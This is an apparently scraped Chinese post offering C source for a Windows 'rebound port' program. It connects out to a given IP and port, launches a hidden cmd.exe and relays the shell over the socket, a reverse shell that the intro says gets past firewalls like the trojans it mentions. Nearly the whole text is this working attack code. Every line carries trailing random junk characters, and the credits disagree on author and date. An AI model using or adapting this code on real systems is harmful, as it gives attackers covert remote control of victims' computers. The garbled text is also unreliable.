这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]-a{IWVN
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/* ============================== sUbFRq
Rebound port in Windows NT h0lu!m#\_
By wind,2006/7 YZ**;"<G
===============================*/ ;'^, ,{
#include "xn|zB
#include Pin/qp&Fa8
c
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#pragma comment(lib,"wsock32.lib") Sr"/-
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void OutputShell(); ;(S|cm'>}
SOCKET sClient; S(w\Z C
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; />F.Nsujy
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void main(int argc,char **argv) 0D~=SekQ9
{ 1a8$f5
WSADATA stWsaData; ="dDA/,$VS
int nRet; anC+r(jjg9
SOCKADDR_IN stSaiClient,stSaiServer; L
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if(argc != 3) +$,dwyI2t
{ B6%&gXr\
printf("Useage:\n\rRebound DestIP DestPort\n"); #KE;=$(S
return; uLK(F
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} rN#\AN
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WSAStartup(MAKEWORD(2,2),&stWsaData); eM }W6vIn
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $20s]ywS
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stSaiClient.sin_family = AF_INET; l{Er+)a
stSaiClient.sin_port = htons(0); (}jL_E
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }NwN2xTB
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) iC*U $+JG
{ 3]`mQm E
printf("Bind Socket Failed!\n"); 8K^f:)Qw
return; 2kJ!E@n7
} }p{;^B
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stSaiServer.sin_family = AF_INET; (Fqa][0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &I)\*Ue2t
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [%~^kq=|
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i| 4_m
{ >BJ}U_ck
printf("Connect Error!"); (I~\,[
return; @\PpA9ebg%
} pl\b-
OutputShell(); xlw 2g<s
} >?V<$>12
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void OutputShell() ETm]o
{ w[sR7T9*
char szBuff[1024]; u~}%1
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; rhoeZ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `:4MMr9 1
STARTUPINFO stStartupInfo; QkE,T0,/?h
char *szShell; :'Xr/| s
PROCESS_INFORMATION stProcessInformation; #TATqzA
unsigned long lBytesRead; R,b59,&3/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h!Y?SO.b
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0I^Eo|
stSecurityAttributes.lpSecurityDescriptor = 0; u<kD}
stSecurityAttributes.bInheritHandle = TRUE; @G(xaU'u
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |Ng"C`$oqv
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <`+zvUx^?
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ls]H6z*q
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A;T[['
stStartupInfo.wShowWindow = SW_HIDE; ob]dZ
stStartupInfo.hStdInput = hReadPipe; _uJVuCc
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; HL8(lPgS
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GetVersionEx(&stOsversionInfo); xKb"p4k9d
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switch(stOsversionInfo.dwPlatformId) !EM#m@kZ{
{ `oVB!eapl
case 1: #s{aulx
szShell = "command.com"; C
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break; /Zx8nx'{V
default: 'z-D%sCA
szShell = "cmd.exe"; y7La_FPrl
break; ~?-qZ<9/
} ig$jKou
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !%wdn33"
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send(sClient,szMsg,77,0); {NV:|M !
while(1) /sV?JV[t
{ ?$16A+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ju4.@
if(lBytesRead) 6J"(xT
{ %Gu][_.L
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jiq2 x\\!
send(sClient,szBuff,lBytesRead,0); !3?yG
} 44j,,k
else ;le0QA
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{ w#<p^CS
lBytesRead=recv(sClient,szBuff,1024,0); jOv~!7T
if(lBytesRead<=0) break; {!y<<u1
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b@!:=_Mr
} k{1b20
} VAg68EbnF
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return; {?y<%@
}